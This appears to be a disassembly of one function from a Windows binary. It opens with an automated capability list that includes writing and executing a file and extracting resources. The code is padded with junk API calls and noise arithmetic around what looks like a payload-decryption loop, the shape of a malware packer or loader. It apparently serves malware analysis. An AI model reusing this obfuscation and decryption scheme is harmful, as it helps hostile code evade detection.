Function at 0x180006cd0
Capabilities:
Check for unexpected memory writes
Copy file
Create directory
Create process on windows
Delete directory
Delete file
Enumerate files on windows
Extract resource via kernel32 functions
Get disk information
Get disk size
Get file attributes
Get geographical location
Get hostname
Get memory capacity
Set current directory
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
cmp dword [0x18007ada4], 0x7f648fa1
jne 0x180006de0
lea rdx, str.PVokichDNFfQCBtBmHHrEe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadDescription]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.YSfZxxJitWxXyvLx
xor r8d, r8d
lea rdx, str.YORuMmXwzhosamaZlZI
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindStringOrdinal]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileNameW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.JGMtouwcDDzBjqwoOAgxjNSaz
lea rdx, str.ZSOQugrFXBJbhbMWh
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64SuspendThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSizeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushListSListEx]
mov dword [rsp + 0x6c], 0
jmp 0x180006df5
mov eax, dword [rsp + 0x6c]
add eax, 8
mov dword [rsp + 0x6c], eax
mov eax, dword [0x18007adac]
cmp dword [rsp + 0x6c], eax
jae 0x180007c3d
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0xc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
cmp dword [0x18007ada4], 0x6537236b
jne 0x180006f8a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSearchPathMode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadGroupAffinity]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnlockFile]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemFileCacheSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
xor edx, edx
lea rcx, str.CvnhBSkbQOPzEkyrNrcrD
call qword [sym.imp.KERNEL32.dll_LoadModule]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.PIfVwPjvNjbvjrEbrt
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.olMMSbFzYVOLTmyjvClpAtbhpK
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNLSString]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0xc8]
lea rax, [rcx + rax + 4]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x84], 0
cmp dword [0x18007ada4], 0x1bab4b5c
jne 0x18000717c
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetAppContainerNamedObjectPath]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NeedCurrentDirectoryForExePathW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadCycleTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredContinueHandler]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSearchPathMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerClearRequest]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibraryWhenCallbackReturns]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetOverlappedResultEx]
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenPrivateNamespaceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
mov dword [rsp + 0x80], 4
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x80]
lea eax, [rax*4 + 0x1f]
mov dword [rsp + 0x68], eax
jmp 0x1800071ad
mov eax, dword [rsp + 0x68]
dec eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xffffffff
je 0x180007c38
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
shl eax, 6
mov dword [rsp + 0x70], eax
mov eax, dword [0x18007ada4]
mov ecx, 0xe2763295
cmp rax, rcx
jne 0x18000736d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r8d, r8d
xor edx, edx
lea rcx, str.BnkxzISoRBCUkFWHlx
call qword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor eax, eax
lock inc dword [rax]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.HTtZvycfHhotCmNykAswXQdSczvh
xor r8d, r8d
xor edx, edx
lea rcx, str.TDzYbxYoiASUlZbhfBasIXDhx
call qword [sym.imp.KERNEL32.dll_GetTimeFormatEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadCodePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDevicePowerState]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.tovZrbUeFPmBQoErn
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStringScripts]
xor eax, eax
lock dec dword [rax]
call qword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWaitCallbacks]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerSessionId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddSIDToBoundaryDescriptor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
shr eax, 8
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x50], 0xdba
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x98], eax
xor edx, edx
mov eax, dword [rsp + 0x68]
div dword [rsp + 0x80]
mov eax, edx
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0xc0]
call fcn.180009710
mov ecx, dword [rsp + 0x98]
add ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x54], 0x238e
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0x1fe1
mov eax, dword [rsp + 0x54]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x18000740c
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
jmp 0x1800073f0
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x60], 0x1907
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
sub eax, 0x1712
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
sub eax, 0xf16
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x64], 0xf1e
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x204b
mov dword [rsp + 0x58], eax
mov eax, dword [0x18007ada4]
mov ecx, 0xdfd64911
cmp rax, rcx
jne 0x180007636
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFlags]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDynamicTimeZoneInformation]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.TVNQgjmMfOVFuzQYpgAdpfT
xor edx, edx
lea rcx, str.odpmtXxklAQpawWdUmSMOCBsI
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoEx]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapLock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerSetRequest]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockShared]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x74], 0
jmp 0x18000767a
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0x4c
jge 0x18000768e
mov eax, dword [rsp + 0x58]
sub eax, 8
mov dword [rsp + 0x58], eax
jmp 0x180007670
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
add eax, 0xa03
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
sub eax, 0xc8b
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x60]
add eax, 0x17e9
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x1249
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
sub eax, 0xf8
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
add eax, dword [rsp + 0x70]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x180007731
mov eax, dword [rsp + 0x54]
add eax, 0x15b2
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
add eax, 0x24f6
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x1cd0
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x1800077b9
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x18000779b
mov eax, dword [rsp + 0x50]
add eax, 0x10a5
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
add eax, 0x1f9e
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
add eax, 0x20c
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
cmp dword [0x18007ada4], 0x3d35fba0
jne 0x1800079f8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockShared]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TrySubmitThreadpoolCallback]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateHardLinkW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindAtomW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWorkCallbacks]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov eax, dword [rsp + 0x5c]
add eax, 0x113f
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x29d
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x227a
mov dword [rsp + 0x5c], eax
mov dword [rsp + 0x7c], 0
jmp 0x180007a53
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0x53
jge 0x180007a67
mov eax, dword [rsp + 0x60]
sub eax, 8
mov dword [rsp + 0x60], eax
jmp 0x180007a49
mov eax, dword [rsp + 0x50]
sub eax, 0x14ad
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
add eax, 0x2340
mov dword [rsp + 0x54], eax
mov rax, qword [rsp + 0x90]
mov ecx, dword [rsp + 0x70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
add eax, 0x1778
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x23dc
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x90]
mov eax, dword [rax]
mov dword [rsp + 0x9c], eax
cmp dword [0x18007ada4], 0x5256fd8b
jne 0x180007c11
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimerEx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlPcToFileHeader]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProtectedPolicy]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenPrivateNamespaceW]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersion]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov rax, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x9c]
mov dword [rax], ecx
mov rax, qword [rsp + 0x90]
mov ecx, dword [rsp + 0x84]
mov dword [rax], ecx
jmp 0x1800071a3
jmp 0x180006dea
add rsp, 0xb8
ret